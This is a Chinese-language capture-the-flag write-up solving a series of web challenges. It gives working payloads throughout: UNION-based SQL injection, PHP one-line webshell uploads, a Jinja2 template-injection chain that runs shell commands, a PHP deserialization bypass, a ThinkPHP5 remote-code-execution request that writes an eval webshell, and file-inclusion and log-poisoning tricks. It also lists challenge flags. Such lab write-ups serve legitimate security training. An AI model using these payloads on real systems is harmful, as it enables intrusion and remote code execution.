目录
0100 NewsCenter
题目:
解答:在搜索框输入单引号,页面显示不正常,可知是单引号闭合。
经过测试是3列。2和3都会回显
' union select 1,2,3#
之后就是常规的注入了,没有什么过滤。
#news
' union select 1,2,database()#
#news,secret_table
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
#id,fl4g
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_table'#
#QCTF{sq1_inJec7ion_ezzz}
' union select 1,2,fl4g from secret_table#
0236 upload1
解答:文件上传,有前端判断,删掉就好了。
只进行了content-type的判断,上传个图片,burp抓包修改内容为一句话木马,修改文件名的后缀为php,页面回显上传路径,然后蚁剑连接。
0481 xff_referer
题目:X老师告诉小宁其实xff和referer是可以伪造的。
解答:根据提示做:
要求ip地址必须为123.123.123.123,添加X-Forwarded-For:123.123.123.123
。
要求必须来自https://www.google.com,添加Referer:https://www.google.com
。
0483 webshell
题目:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
解答:题目直接给了一句话木马,蚁剑连接就好了。
0484 command_execution
题目:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
解答:输入命令,可以用连接符分号;
。分号前面的执行完,会接着执行后面的。
flag放的位置大概有网站根目录,系统根目录、home或者tmp目录下。
0627 web2
题目:解密
解答:分析代码,和加密步骤反着来就好。
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$_o=base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>
#flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
0709 Web_python_template_injection
解答:题目告诉了是python模板注入
先测试一下{{2*3}}
,确实存在模板注入,使用的是jinja2作为模板引擎。
先找基类:{{''.__class__.__mro__[2]}}
查看object的子类:
{{''.__class__.__mro__[2].__subclasses__()}}
(根据返回的内容可以确定是python2的)
找''.__class__.__base__.__subclasses__()[??].__init__
,寻找重载过的。
不提示wrapper就可以,wrapper表示没有被重载如:
<slot wrapper '__init__' of 'object' objects>
这表示不是function,不具有
__globals__
属性。
比如找到:''.__class__.__base__.__subclasses__()[139].__init__
那么就可以利用执行eval了:
{{''.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
cat 查看,,获取flag:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat fl4g').read()")}}
这里40是file。如果知道flag名字的话,也可以直接读了。
比如如果已知flag名字是fl4g。
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
0710 Web_php_unserialize
题目:
解答:题目需要注意的点:
- 过滤条件是
o:数字...:
,有i
大小写绕过不行,那就用+
中断一下。 __wakeup()
会重置file指向为index.php。所以要绕过它,属性数大于实际数就可以,把1改成2。- 源代码中,var还进行了base64的解码,所以还需要进行加密。
写payload:
<?php
class Demo {
private $file = 'index.php';
}
$a=new Demo('fl4g.php');
$c=serialize($a);
$c=str_replace('O:4','O:+4',$c);
$c=str_replace(':1:',':2:',$c);
$c=base64_encode($c);
var_dump($c);
?>
0713 php_rce
题目:thinkphp v5
解答:
ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
get传参,写入一个jz.php文件
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=jz.php&vars[1][]=%3C?php%20%20highlight_file(__FILE__);@eval($_POST[%27jz%27]);?%3E
0716 Web_php_include
题目:
解答:文件包含题.
方法一:可以使用http协议。题目还有一个参数hello,传参会echo出来。可以组合利用:
?page=http://127.0.0.1/index.php/?hello=%3C?system(%27ls%27);?%3E
原理说明:include()是包含并执行,这里传递的url返回的结果就是echo的内容。下面可以看到<?system(ls);?>
被echo了出来。
include包含执行的就是以下面整个页面的内容。所以也就执行了system(ls);
。
方法二:使用data协议:
?page=data://text/plain,<?php system(ls);?>
方法三:还可以用常用的日志包含来做,url地址后面或者User-Agent处写入一句话木马,然后包含/var/log/nginx/access.log。
方法四:还可以扫目录,扫出phpmyadmin后台登录页面的,root用户,密码为空。
在SQL语句输入的地方,写:select "<?php eval($_POST[7]);?>" into ourfile '/tmp/jz.php
然后连接?page=/tmp/jz.php
就可以
方法很多就不一一展开了。